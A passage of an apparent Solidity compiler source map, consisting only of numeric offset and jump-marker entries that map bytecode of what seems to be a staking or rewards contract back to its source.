:10:0::1;::::0;8929:33:::1;::::0;536:2:1;521:18;8929:33:0::1;;;;;;;-1:-1:-1::0;;1190:1:0;1489:7;:22;-1:-1:-1;;;6278:2692:0:o;21303:329::-;-1:-1:-1;;;;;21451:11:0;;21378:16;21451:11;;;:5;:11;;;;;21378:16;;;;21451:27;;21479:5;21451:34;;;;;;;:::i;:::-;;;;:45;-1:-1:-1;;;;;21520:11:0;;21451:45;21520:11;;;:5;:11;;;;;21451:45;;-1:-1:-1;21520:27:0;;21548:5;21520:34;;;;;;;:::i;:::-;;;;:44;;;21507:57;;21584:5;:11;21590:4;-1:-1:-1;;;;;21584:11:0;-1:-1:-1;;;;;21584:11:0;;;;;;;;;;;;:27;;21612:5;21584:34;;;;;;;:::i;:::-;;;;:40;;;21575:49;;21303:329;;;;;:::o;5511:251::-;-1:-1:-1;;;;;5656:18:0;;5574:4;5656:18;;;:5;:18;;;;;30205:15;;;5574:4;;5604:82;;5638:37;5604:15;;:19;:82::i;:::-;5591:95;;2576:11;5701:5;:17;5697:34;;;-1:-1:-1;5727:4:0;;5511:251;-1:-1:-1;;5511:251:0:o;5697:34::-;-1:-1:-1;5749:5:0;;5511:251;-1:-1:-1;;5511:251:0:o;21640:291::-;21707:4;21724:22;21761:6;21757:132;1672:2;21769:1;:23;21757:132;;;-1:-1:-1;;;;;21835:12:0;;;;;;:5;:12;;;;;:28;;21864:1;21835:31;;;;;;;:::i;:::-;;;;:42;21814:63;;;;:::i;:::-;;-1:-1:-1;21794:3:0;;;;:::i;:::-;;;;21757:132;;;-1:-1:-1;21906:17:0;21640:291;-1:-1:-1;;21640:291:0:o;5770:500::-;-1:-1:-1;;;;;5853:12:0;;5833:4;5853:12;;;:5;:12;;;;;:24;;;:29;;5850:274;;5998:12;;-1:-1:-1;;;;;5989:21:0;;;5998:12;;5989:21;;:48;;-1:-1:-1;6023:14:0;;-1:-1:-1;;;;;6014:23:0;;;6023:14;;6014:23;5989:48;5986:100;;;-1:-1:-1;6065:5:0;;5770:500;-1:-1:-1;5770:500:0:o;5986:100::-;-1:-1:-1;6107:5:0;;5770:500;-1:-1:-1;5770:500:0:o;5850:274::-;6177:23;6194:5;6177:16;:23::i;:::-;-1:-1:-1;;;;;6147:12:0;;;;;;:5;:12;;;;;:26;;;:53;6144:96;;-1:-1:-1;6224:4:0;;5770:500;-1:-1:-1;5770:500:0:o;20623:464::-;-1:-1:-1;;;;;20737:18:0;;20700:4;20737:18;;;:5;:18;;;;;:35;;;20700:4;20801:33;:15;20737:35;20801:19;:33::i;:::-;20783:51;-1:-1:-1;20845:15:0;20863:17;2576:11;20877:2;20863:13;:17::i;:::-;20845:35;;20919:10;20905;:24;20901:65;;-1:-1:-1;20953:1:0;;20623:464;-1:-1:-1;;;;20623:464:0:o;20901:65::-;20986:18;21007:26;:10;21022;21007:14;:26::i;:::-;20986:47;-1:-1:-1;21051:28:0;20986:47;2576:11;21051:17;:28::i;:::-;21044:35;20623:464;-1:-1:-1;;;;;;20623:464:0:o;23050:897::-;-1:-1:-1;;;;;23159:18:0;;23122:4;23159:18;;;:5;:18;;;;;23122:4;23208:34;23165:11;23208:21;:34::i;:::-;23188:54;;23253:19;23288:6;23283:625;1672:2;23296:1;:23;23283:625;;;23341:32;23376:4;:20;;23397:1;23376:23;;;;;;;:::i;:::-;;;;23341:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23461:12;:23;;;23436:12;:22;;;:48;:94;;;;-1:-1:-1;23505:17:0;;;;;;;;;;:25;;:17;:25;23436:94;23414:483;;;23565:14;23582:192;23630:12;23665:4;23692:29;23707:14;23692:12;:29;:::i;:::-;23744:11;23582:25;:192::i;:::-;23565:209;-1:-1:-1;23797:13:0;;23793:89;;23835:27;23853:9;23835:27;;:::i;:::-;;;23793:89;23546:351;23414:483;-1:-1:-1;23321:3:0;;;;:::i;:::-;;;;23283:625;;;-1:-1:-1;23925:14:0;23050:897;-1:-1:-1;;;;23050:897:0:o;11547:799::-;4696:10;11633:4;4690:17;;;:5;:17;;;;;30205:15;;;11633:4;;4638:81;;4672:36;30101:155;4638:81;4625:94;;2576:11;4738:5;:17;4730:45;;;;-1:-1:-1;;;4730:45:0;;;;;;;:::i;:::-;4853:29:::1;4871:10;4853:17;:29::i;:::-;4852:30;4844:64;;;;-1:-1:-1::0;;;4844:64:0::1;;;;;;;:::i;:::-;1234:1:::2;1382:7;;:19:::0;1374:63:::2;;;;-1:-1:-1::0;;;1374:63:0::2;;;;;;;:::i;:::-;1234:1;1448:7;:18:::0;;;11676:10:::3;11670:17:::0;;:5:::3;:17;::::0;;;;11707:22:::3;::::0;::::3;::::0;::::3;;11706:23;11698:60;;;::::0;-1:-1:-1;;;11698:60:0;;10615:2:1;11698:60:0::3;::::0;::::3;10597:21:1::0;10654:2;10634:18;;;10627:30;10693:26;10673:18;;;10666:54;10737:18;;11698:60:0::3;10413:348:1::0;11698:60:0::3;11771:16;11790:45;11824:10;11790:33;:45::i;:::-;11771:64:::0;-1:-1:-1;11909:17:0::3;::::0;::::3;:25:::0;;-1:-1:-1;;11909:25:0::3;::::0;;12010:21:::3;::::0;::::3;::::0;11929:5:::3;::::0;11974:65:::3;::::0;11997:11;;11929:5;11974:22:::3;:65::i;:::-;11947:92;;12060:22;12085:37;12101:4;:20;;;12085:11;:15;;:37;;;;:::i;:::-;12060:62;;12161:11;12143:14;;:29;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;12201:15:0::3;12183;::::0;::::3;:33:::0;12227:18:::3;::::0;::::3;:39:::0;;12249:17;;12227:18;::::3;::::0;:39:::3;::::0;12249:17;;12227:39:::3;:::i;:::-;::::0;;;-1:-1:-1;12279:37:0::3;::::0;-1:-1:-1;12298:4:0;12304:11;12279:18:::3;:37::i;:::-;12334:4;12327:11;;;;;;-1:-1:-1::0;1190:1:0::2;1489:7;:22:::0;11547:799;:::o;22740:302::-;22807:4;22824:26;22865:6;22861:135;1672:2;22873:1;:23;22861:135;;;-1:-1:-1;;;;;22943:12:0;;;;;;:5;:12;;;;;:28;;22972:1;22943:31;;;;;;;:::i;:::-;;;;:41;;;22918:66;;;;;:::i;:::-;;-1:-1:-1;22898:3:0;;;;:::i;:::-;;;;22861:135;;24971:151;-1:-1:-1;;;;;25093:11:0;;;;;;:5;:11;;;;;;;;;:21;;25073:41;;;;;;;;;;;;;;;;;25026:34;;25073:41;;;25093:21;25073:41;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;25073:41:0;;;;;;;;;;;;;;;;;;;;;;;24971:151;;;:::o;21939:793::-;-1:-1:-1;;;;;22181:12:0;;22167:11;22181:12;;;:5;:12;;;;;:27;;;22010:21;;;;;;;;22181:27;22239:18;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;22239:18:0;;22229:28;;22298:6;22287:18;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;22287:18:0;;22268:37;;22340:6;22329:18;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;22329:18:0;;22316:31;;22388:6;22377:18;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;22377:18:0;;22358:37;;22420:6;22416:309;22432:6;22428:1;:10;22416:309;;;-1:-1:-1;;;;;22473:12:0;;;;;;:5;:12;;;;;;;;:24;;;;;;;;:31;22460:10;;:7;;22495:1;;22460:10;;;;;;:::i;:::-;;;;;;;;;;;:44;;;;-1:-1:-1;;;;;22541:12:0;;;;;;:5;:12;;;;;;:24;;;;;;;:34;;;22519:19;;:16;;22563:1;;22519:19;;;;;;:::i;:::-;;;;;;;;;;;:56;;;;-1:-1:-1;;;;;22606:12:0;;;;;;:5;:12;;;;;;:24;;;;;;;:30;;;22590:13;;:10;;22628:1;;22590:13;;;;;;:::i;:::-;;;;;;;;;;;:46;;;;-1:-1:-1;;;;;22673:12:0;;;;;;:5;:12;;;;;;:24;;;;;;;:40;;;22651:19;;22673:40;;;;;22651:16;;22695:1;;22651:19;;;;;;:::i;:::-;:62;;;:19;;;;;;;;;;;:62;22440:3;;;;:::i;:::-;;;;22416:309;;;;22156:576;21939:793;;;;;:::o;24484:479::-;24554:4;;24584:33;:15;24604:12;24584:19;:33::i;:::-;24571:46;-1:-1:-1;24640:16:0;2576:11;24654:1;24640:13;:16::i;:::-;24632:5;:24;24628:284;;;-1:-1:-1;2014:4:0;;24484:479;-1:-1:-1;;24484:479:0:o;24628:284::-;24734:17;2576:11;24748:2;24734:13;:17::i;:::-;24726:5;:25;24722:190;;;-1:-1:-1;2076:3:0;;24484:479;-1:-1:-1;;24484:479:0:o;24722:190::-;24830:17;2576:11;24844:2;24830:13;:17::i;:::-;24822:5;:25;24818:94;;;-1:-1:-1;2141:3:0;;24484:479;-1:-1:-1;;24484:479:0:o;15330:2854::-;4696:10;15415:4;4690:17;;;:5;:17;;;;;30205:15;;;15415:4;;4638:81;;4672:36;30101:155;4638:81;4625:94;;2576:11;4738:5;:17;4730:45;;;;-1:-1:-1;;;4730:45:0;;;;;;;:::i;:::-;4853:29:::1;4871:10;4853:17;:29::i;:::-;4852:30;4844:64;;;;-1:-1:-1::0;;;4844:64:0::1;;;;;;;:::i;:::-;1234:1:::2;1382:7;;:19:::0;1374:63:::2;;;;-1:-1:-1::0;;;1374:63:0::2;;;;;;;:::i;:::-;1234:1;1448:7;:18:::0;;;15458:10:::3;15452:17:::0;;:5:::3;:17;::::0;;;;;1448:7;15514:479:::3;15531:4;:19;;;15527:1;:23;15514:479;;;15572:14;15626:16:::0;;;::::3;::::0;;;;;;;15601:41;;::::3;::::0;::::3;::::0;;;;;;::::3;::::0;::::3;::::0;;;::::3;::::0;;;;::::3;::::0;::::3;::::0;;;;;;;;::::3;;::::0;::::3;;;;::::0;;;;15683:21:::3;15601:41:::0;15683:12:::3;:21::i;:::-;15663:7;:17;;;:41;15659:323;;;15737:61;15756:7;15765:4;15771:14;15787:10;15737:18;:61::i;:::-;15725:73:::0;-1:-1:-1;15823:13:0;;15819:148:::3;;15861:13;:16:::0;;;::::3;::::0;;;;;;:36;;15888:9;;15861:13;:36:::3;::::0;15888:9;;15861:36:::3;:::i;:::-;::::0;;;-1:-1:-1;15920:27:0::3;::::0;-1:-1:-1;15938:9:0;15920:27;::::3;:::i;:::-;;;15819:148;15557:436;;15552:3;;;;;:::i;:::-;;;;15514:479;;;;16010:6;16005:738;1672:2;16018:1;:23;16005:738;;;16063:32;16098:4;:20;;16119:1;16098:23;;;;;;;:::i;:::-;;;;16063:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::3;;;16183:12;:23;;;16158:12;:22;;;:48;:94;;;;-1:-1:-1::0;16227:17:0::3;::::0;::::3;::::0;::::3;;::::0;;::::3;;:25;;:17;:25;16158:94;16136:596;;;16287:14;16304:176;16352:12;16387:4;16414:14;16451:10;16304:25;:176::i;:::-;16287:193:::0;-1:-1:-1;16503:13:0;;16499:218:::3;;16579:9;16541:4;:20;;16562:1;16541:23;;;;;;;:::i;:::-;;;;:47:::0;;:34:::3;::::0;:47:::3;::::0;;;::::3;:::i;:::-;::::0;;;-1:-1:-1;;16618:20:0::3;::::0;::::3;16639:1:::0;16618:23:::3;::::0;::::3;;;;;:::i;:::-;;;;:29;;16611:36;;;16688:9;16670:27;;;;;:::i;:::-;;;16499:218;16268:464;16136:596;-1:-1:-1::0;16043:3:0;::::3;::::0;::::3;:::i;:::-;;;;16005:738;;;;16780:1;16763:14;:18;16755:52;;;::::0;-1:-1:-1;;;16755:52:0;;10968:2:1;16755:52:0::3;::::0;::::3;10950:21:1::0;11007:2;10987:18;;;10980:30;-1:-1:-1;;;11026:18:1;;;11019:51;11087:18;;16755:52:0::3;10766:345:1::0;16755:52:0::3;16836:15;16818:4;:15;;:33;;;;16883:14;16864:4;:15;;;:33;;;;;;;:::i;:::-;;;;;;;;16928:14;16908:4;:16;;;:34;;;;;;;:::i;:::-;;;;;;;;16972:14;16953:15;;:33;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;17003:13:0::3;::::0;::::3;::::0;-1:-1:-1;;;;;17003:13:0::3;:27:::0;16999:1098:::3;;17072:13;::::0;::::3;::::0;-1:-1:-1;;;;;17072:13:0::3;17047:22;17100:986;1672:2;17113:1;:23;17100:986;;;-1:-1:-1::0;;;;;17166:20:0;::::3;::::0;17162:908:::3;;17215:4;:19;;;17238:1;17215:24:::0;17211:116:::3;;-1:-1:-1::0;;;;;17268:13:0;::::3;;::::0;;;:5:::3;:13;::::0;;;;17302:1:::3;::::0;17268:27:::3;;17296:1:::0;17268:30:::3;::::0;::::3;;;;;:::i;:::-;;;:35;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;17211:116:0::3;17349:11;17363:90;2529:5;17364:40;17383:17;17401:1;17383:20;;;;;;;:::i;:::-;;::::0;17364:14;;:18:::3;:40::i;17363:90::-;-1:-1:-1::0;;;;;17480:13:0;::::3;;::::0;;;:5:::3;:13;::::0;;;;17349:104;;-1:-1:-1;17480:29:0::3;;17510:1:::0;17480:32:::3;::::0;::::3;;;;;:::i;:::-;;;;:38;;;17522:1;17480:43:::0;17476:310:::3;;-1:-1:-1::0;;;;;17552:13:0;::::3;;::::0;;;:5:::3;:13;::::0;;;;17593:15:::3;::::0;17552:29:::3;;17582:1:::0;17552:32:::3;::::0;::::3;;;;;:::i;:::-;;;;:38;;:56;;;;17676:1;17680;17676:5;;;;:::i;:::-;-1:-1:-1::0;;;;;17635:13:0;::::3;;::::0;;;:5:::3;:13;::::0;;;;:29:::3;;17665:1:::0;17635:32:::3;::::0;::::3;;;;;:::i;:::-;;;;:38;;:46;;;;17476:310;;;17738:24;17752:6;17760:1;17738:13;:24::i;:::-;-1:-1:-1::0;;;;;17808:13:0;::::3;;::::0;;;:5:::3;:13;::::0;;;;17855:6;;17808:29:::3;;17838:1:::0;17808:32:::3;::::0;::::3;;;;;:::i;:::-;;;;:53:::0;;:43:::3;::::0;:53:::3;::::0;;;::::3;:::i;:::-;::::0;;;-1:-1:-1;;;;;;;17884:13:0;::::3;;::::0;;;:5:::3;:13;::::0;;;;:24:::3;;:34:::0;;17912:6;;17884:13;:34:::3;::::0;17912:6;;17884:34:::3;:::i;:::-;::::0;;;-1:-1:-1;;17946:39:0::3;::::0;548:25:1;;;17975:1:0;;17963:10:::3;::::0;-1:-1:-1;;;;;17946:39:0;::::3;::::0;::::3;::::0;536:2:1;521:18;17946:39:0::3;;;;;;;-1:-1:-1::0;;;;;;18017:13:0;;::::3;;::::0;;;:5:::3;:13;::::0;;;;:22:::3;;::::0;;;::::3;::::0;17162:908:::3;;;18065:5;;17162:908;17138:3:::0;::::3;::::0;::::3;:::i;:::-;;;;17100:986;;;;17032:1065;16999:1098;18114:40;::::0;548:25:1;;;18127:10:0::3;::::0;18114:40:::3;::::0;536:2:1;521:18;18114:40:0::3;;;;;;;18172:4;18165:11;;;;-1:-1:-1::0;1190:1:0::2;1489:7;:22:::0;15330:2854;:::o;23955:521::-;-1:-1:-1;;;;;24209:18:0;;24049:12;24209:18;;;:5;:18;;;;;;;;:34;;;;;;;;;24184:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24395:18;;;;;;;:29;;;24184:59;;;;24447:21;24184:59;24447:12;:21::i;:::-;24435:33;;24173:303;23955:521;;;;;;;;:::o;31847:314::-;1234:1;1382:7;;:19;1374:63;;;;-1:-1:-1;;;1374:63:0;;;;;;;:::i;:::-;1234:1;1448:7;:18;31927:21:::1;31967:19:::0;31959:54:::1;;;::::0;-1:-1:-1;;;31959:54:0;;11450:2:1;31959:54:0::1;::::0;::::1;11432:21:1::0;11489:2;11469:18;;;11462:30;-1:-1:-1;;;11508:18:1;;;11501:52;11570:18;;31959:54:0::1;11248:346:1::0;31959:54:0::1;32053:52;::::0;32035:12:::1;::::0;32061:10:::1;::::0;32085:15;;32035:12;32053:52;32035:12;32053:52;32085:15;32061:10;32053:52:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;32034:71;;;32124:7;32116:37;;;::::0;-1:-1:-1;;;32116:37:0;;12011:2:1;32116:37:0::1;::::0;::::1;11993:21:1::0;12050:2;12030:18;;;12023:30;-1:-1:-1;;;12069:18:1;;;12062:47;12126:18;;32116:37:0::1;11809:341:1::0;32116:37:0::1;-1:-1:-1::0;;1190:1:0;1489:7;:22;31847:314::o;10794:739::-;4696:10;10881:4;4690:17;;;:5;:17;;;;;30205:15;;;10881:4;;4638:81;;4672:36;30101:155;4638:81;4625:94;;2576:11;4738:5;:17;4730:45;;;;-1:-1:-1;;;4730:45:0;;;;;;;:::i;:::-;4853:29:::1;4871:10;4853:17;:29::i;:::-;4852:30;4844:64;;;;-1:-1:-1::0;;;4844:64:0::1;;;;;;;:::i;:::-;1234:1:::2;1382:7;;:19:::0;1374:63:::2;;;;-1:-1:-1::0;;;1374:63:0::2;;;;;;;:::i;:::-;1234:1;1448:7;:18:::0;;;10924:10:::3;10918:17:::0;;;:5:::3;:17;::::0;;;;;1448:7;10965:36:::3;::::0;:24:::3;:36::i;:::-;10946:55:::0;-1:-1:-1;11077:24:0::3;11104:64;11127:11;11140:4;:21;;;11163:4;11104:22;:64::i;:::-;11077:91;;11207:11;11189:14;;:29;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;11247:15:0::3;11229;::::0;::::3;:33:::0;;;11273:21:::3;::::0;::::3;:39:::0;11323:18:::3;::::0;::::3;:33:::0;;11345:11;;11323:18;-1:-1:-1;;11323:33:0::3;::::0;11345:11;;11323:33:::3;:::i;:::-;::::0;;;-1:-1:-1;;11374:22:0::3;::::0;::::3;::::0;::::3;;11369:85;;11413:22;::::0;::::3;:29:::0;;-1:-1:-1;;11413:29:0::3;11438:4;11413:29;::::0;;11369:85:::3;11466:37;11485:4;11491:11;11466:18;:37::i;:::-;11521:4;11514:11;;;;;-1:-1:-1::0;1190:1:0::2;1489:7;:22:::0;10794:739;:::o;18215:196::-;-1:-1:-1;;;;;18341:18:0;;18288:4;18341:18;;;:5;:18;;;;;30205:15;;;18378:25;18305:55;2576:11;18378:14;:25::i;:::-;18371:32;18215:196;-1:-1:-1;;;18215:196:0:o;19088:1202::-;19163:20;19194:19;19224;19254;19284;19314:13;19338:20;19369:21;19401:15;19427:16;19454:17;19482:47;;:::i;:::-;-1:-1:-1;;;;;19601:18:0;;;;;;:5;:18;;;;;:34;;;;19566:32;;;;;:69;;19601:34;19566:69;:::i;:::-;19548:87;;19663:33;19684:11;-1:-1:-1;;;;;29724:18:0;29700:4;29724:18;;;:5;:18;;;;;:30;;;;29626:136;19663:33;19646:50;;19725:34;19747:11;19725:21;:34::i;:::-;19707:52;;19787:34;19809:11;19787:21;:34::i;:::-;19770:51;;19849:34;19871:11;19849:21;:34::i;:::-;19832:51;;19905:32;19925:11;19905:19;:32::i;:::-;-1:-1:-1;;;;;19965:18:0;;;;;;;:5;:18;;;;;;;:29;;;;20024:33;;;;30205:15;;;;20141:27;;;;20179:49;;;;;;;;;19965:29;;-1:-1:-1;19894:43:0;;-1:-1:-1;20024:33:0;;-1:-1:-1;30205:15:0;-1:-1:-1;20141:27:0;;;;;-1:-1:-1;20196:32:0;;;;;20179:49;;20196:32;20179:49;;;;;;;;;;;;;;;;;;;;;;;;20253:29;20270:11;20253:16;:29::i;:::-;20239:43;;19088:1202;;;;;;;;;;;;;:::o;482:246::-;540:7;564:1;569;564:6;560:47;;-1:-1:-1;594:1:0;587:8;;560:47;617:9;629:5;633:1;629;:5;:::i;:::-;617:17;-1:-1:-1;662:1:0;653:5;657:1;617:17;653:5;:::i;:::-;:10;645:56;;;;-1:-1:-1;;;645:56:0;;12752:2:1;645:56:0;;;12734:21:1;12791:2;12771:18;;;12764:30;12830:34;12810:18;;;12803:62;-1:-1:-1;;;12881:18:1;;;12874:31;12922:19;;645:56:0;12550:397:1;736:177:0;794:7;826:1;822;:5;814:44;;;;-1:-1:-1;;;814:44:0;;13154:2:1;814:44:0;;;13136:21:1;13193:2;13173:18;;;13166:30;13232:28;13212:18;;;13205:56;13278:18;;814:44:0;12952:350:1;814:44:0;869:9;881:5;885:1;881;:5;:::i;:::-;869:17;736:177;-1:-1:-1;;;;736:177:0:o;31365:474::-;-1:-1:-1;;;;;31502:12:0;;31445:14;31502:12;;;:5;:12;;;;;31462:159;;31502:28;;31531:15;31502:45;;;;;;;:::i;:::-;;;;31462:159;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31562:5;:12;31568:5;-1:-1:-1;;;;;31562:12:0;-1:-1:-1;;;;;31562:12:0;;;;;;;;;;;;31589:1;31605:5;31462:25;:159::i;:::-;31445:176;-1:-1:-1;31636:13:0;;31632:200;;-1:-1:-1;;;;;31666:12:0;;;;;;:5;:12;;;;;31720:9;;31666:28;;31695:15;31666:45;;;;;;;:::i;:::-;;;;:51;;:63;-1:-1:-1;;;;;31744:12:0;;;;;;:5;:12;;;;;31805:15;;31744:28;;31773:15;31744:45;;;;;;;:::i;:::-;;;;:58;;:76;;;;31632:200;31434:405;31365:474;;:::o;292:182::-;350:7;383:1;378;:6;;370:49;;;;-1:-1:-1;;;370:49:0;;13509:2:1;370:49:0;;;13491:21:1;13548:2;13528:18;;;13521:30;13587:32;13567:18;;;13560:60;13637:18;;370:49:0;13307:354:1;370:49:0;430:9;442:5;446:1;442;:5;:::i;30428:381::-;30602:12;;30490:4;;-1:-1:-1;;;;;30594:20:0;;;30602:12;;30594:20;;:46;;-1:-1:-1;30626:14:0;;-1:-1:-1;;;;;30618:22:0;;;30626:14;;30618:22;30594:46;30593:80;;;;-1:-1:-1;;;;;;30645:11:0;;;;;;:5;:11;;;;;:23;;;:28;30593:80;30590:133;;;-1:-1:-1;;;30697:14:0;30428:381;-1:-1:-1;30428:381:0:o;30590:133::-;-1:-1:-1;;;;;30740:11:0;;;;;;:5;:11;;;;;:23;;;:61;;2529:5;;30740:39;;2475:5;30740:27;:39::i;25340:548::-;-1:-1:-1;;;;;25452:18:0;;25415:4;25452:18;;;:5;:18;;;;;25415:4;;25513:334;25530:4;:19;;;25526:1;:23;25513:334;;;25571:22;25596:16;;;;;;;;;;;;25571:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25653:21;25571:41;25653:12;:21::i;:::-;25633:7;:17;;;:41;25629:207;;;25695:14;25712:62;25731:7;25740:4;25746:14;25762:11;25712:18;:62::i;:::-;25695:79;-1:-1:-1;25793:27:0;25695:79;25793:27;;:::i;:::-;;;25676:160;25629:207;-1:-1:-1;25551:3:0;;;;:::i;:::-;;;;25513:334;;;-1:-1:-1;25866:14:0;25340:548;-1:-1:-1;;;25340:548:0:o;27580:2038::-;27796:17;;;;27774:4;;27796:17;;;;;27791:59;;-1:-1:-1;27837:1:0;27830:8;;27791:59;27973:13;;;;27949:18;;;:21;:37;27945:78;;;-1:-1:-1;28010:1:0;28003:8;;27945:78;28079:13;;;;28035:14;;28121:23;28139:4;30205:15;;;;30101:155;28121:23;28109:9;:35;28105:103;;;-1:-1:-1;30205:15:0;;;;28105:103;28236:7;:20;;;28224:9;:32;28220:97;;;-1:-1:-1;28285:20:0;;;;28220:97;28341:168;28475:33;2529:5;2576:11;28475:22;:33::i;:::-;28356:103;28397:47;28413:30;:15;28433:9;28413:19;:30::i;:::-;2687:2;;28397:15;:47::i;:::-;28356:18;;;:22;:103::i;28341:168::-;28329:180;;28535:7;:13;;;28522:26;;;;;:::i;:::-;28667:12;;28522:26;;-1:-1:-1;28618:29:0;;-1:-1:-1;;;;;28652:27:0;;;28667:12;;28652:27;;:60;;-1:-1:-1;28698:14:0;;-1:-1:-1;;;;;28683:29:0;;;28698:14;;28683:29;28652:60;28651:87;;;;-1:-1:-1;28717:16:0;;;;:21;28651:87;28618:121;;28837:24;28832:599;;28878:22;28903:29;28920:11;28903:16;:29::i;:::-;28878:54;;29039:17;29002;28990:9;28969:4;:18;;;:30;;;;:::i;:::-;:50;;;;:::i;:::-;:87;28947:473;;;29136:17;29116;29095:4;:18;;;:38;;;;:::i;:::-;:58;29091:314;;;29306:17;29260:4;:18;;;29215:17;:63;;;;:::i;:::-;:108;;;;:::i;:::-;29178:145;;29091:314;;;29384:1;29372:13;;29091:314;28863:568;28832:599;29482:18;;29447:17;;;;:32;;29469:9;29447:21;:32::i;:::-;:53;29443:139;;;29552:17;;;;29529:18;;:41;;:22;:41::i;:::-;29517:53;;29443:139;-1:-1:-1;29601:9:0;;27580:2038;-1:-1:-1;;;;;;27580:2038:0:o;13826:1496::-;-1:-1:-1;;;;;13945:18:0;;13908:4;13945:18;;;:5;:18;;;;;13908:4;;;14024:626;14041:4;:19;;;14037:1;:23;14024:626;;;14082:22;14107:16;;;;;;;;;;;;14082:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14164:21;14082:41;14164:12;:21::i;:::-;14144:7;:17;;;:41;:69;;;;;14190:7;:23;;;14189:24;14144:69;14140:499;;;14234:14;14251:59;14270:7;14279:4;14285:11;14298;14251:18;:59::i;:::-;14338:14;;14234:76;;-1:-1:-1;14338:61:0;;2529:5;;14338:39;;2639:4;14338:18;:39::i;:61::-;14329:70;;;;:::i;:::-;;-1:-1:-1;14422:13:0;;14418:148;;14460:13;:16;;;;;;;;;;:26;;:39;;14490:9;;14460:13;:39;;14490:9;;14460:39;:::i;:::-;;;;-1:-1:-1;14522:24:0;;-1:-1:-1;14537:9:0;14522:24;;:::i;:::-;;;14418:148;-1:-1:-1;14584:13:0;:16;;;;;;;;;;:32;;:39;;-1:-1:-1;;14584:39:0;14619:4;14584:39;;;14140:499;-1:-1:-1;14062:3:0;;;;:::i;:::-;;;;14024:626;;;;14667:6;14662:572;1672:2;14675:1;:23;14662:572;;;14720:32;14755:4;:20;;14776:1;14755:23;;;;;;;:::i;:::-;;;;14720:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14822:12;:23;;;14797:12;:22;;;:48;:69;;;;-1:-1:-1;14849:17:0;;;;;;;;;14797:69;14793:430;;;14887:14;14904:71;14930:12;14944:4;14950:11;14963;14904:25;:71::i;:::-;14887:88;-1:-1:-1;14998:13:0;;14994:214;;15073:9;15036:4;:20;;15057:1;15036:23;;;;;;;:::i;:::-;;;;:33;;;:46;;;;;;;:::i;:::-;;;;-1:-1:-1;;15112:20:0;;;15133:1;15112:23;;;;;;;:::i;:::-;;;;:29;;15105:36;;;15179:9;15164:24;;;;;:::i;:::-;;;14994:214;14868:355;14793:430;-1:-1:-1;14700:3:0;;;;:::i;:::-;;;;14662:572;;;-1:-1:-1;15246:20:0;;;:28;;;15292:22;:11;15269:5;15292:15;:22::i;:::-;15285:29;13826:1496;-1:-1:-1;;;;;13826:1496:0:o;9064:827::-;9211:24;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9211:24:0;9279:69;2529:5;9279:47;:11;2267:3;9279:15;:47::i;:69::-;9254:94;;9369:153;;;;9433:77;2529:5;9433:55;9449:38;9470:16;9449:20;:38::i;:::-;9433:11;;:15;:55::i;:77::-;9404:26;;;:106;9369:153;9562:50;2529:5;9562:28;:11;2340:3;9562:15;:28::i;:50::-;9542:17;;;:70;9641:48;2529:5;9641:26;:11;2409:3;9641:15;:26::i;:48::-;9623:15;;;:66;;;9785:17;;;;9753:26;;;;9726:22;;:98;;9623:66;9726:77;;9785:17;;9726:77;;:26;:54::i;:::-;:58;;:77::i;:98::-;9710:13;;;:114;;;9853:30;;:11;;:15;:30::i;:::-;9835:15;;;:48;:4;9064:827;-1:-1:-1;;;9064:827:0:o;9959:823::-;10051:16;10070:59;10113:4;:15;;;10070:38;10090:4;:17;;;10070:4;:15;;;:19;;:38;;;;:::i;:59::-;10051:78;;10173:11;10148:21;:36;;10140:78;;;;-1:-1:-1;;;10140:78:0;;14001:2:1;10140:78:0;;;13983:21:1;14040:2;14020:18;;;14013:30;14079:31;14059:18;;;14052:59;14128:18;;10140:78:0;13799:353:1;10140:78:0;10257:14;;10284:17;;;;;10257:49;;10232:19;;-1:-1:-1;;;;;10257:14:0;;10284:17;10232:19;10257:49;10232:19;10257:49;10284:17;10257:14;:49;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10231:75;;;10325:14;10317:54;;;;-1:-1:-1;;;10317:54:0;;14359:2:1;10317:54:0;;;14341:21:1;14398:2;14378:18;;;14371:30;14437:29;14417:18;;;14410:57;14484:18;;10317:54:0;14157:351:1;10317:54:0;10416:12;;10441:15;;;;10416:45;;10393:17;;-1:-1:-1;;;;;10416:12:0;;10441:15;10393:17;10416:45;10393:17;10416:45;10441:15;10416:12;:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10392:69;;;10480:12;10472:50;;;;-1:-1:-1;;;10472:50:0;;14715:2:1;10472:50:0;;;14697:21:1;14754:2;14734:18;;;14727:30;14793:27;14773:18;;;14766:55;14838:18;;10472:50:0;14513:349:1;10472:50:0;10590:15;;;;10558:52;;10536:16;;10566:10;;10536:16;10558:52;10536:16;10558:52;10590:15;10566:10;10558:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10535:75;;;10629:11;10621:50;;;;-1:-1:-1;;;10621:50:0;;15069:2:1;10621:50:0;;;15051:21:1;15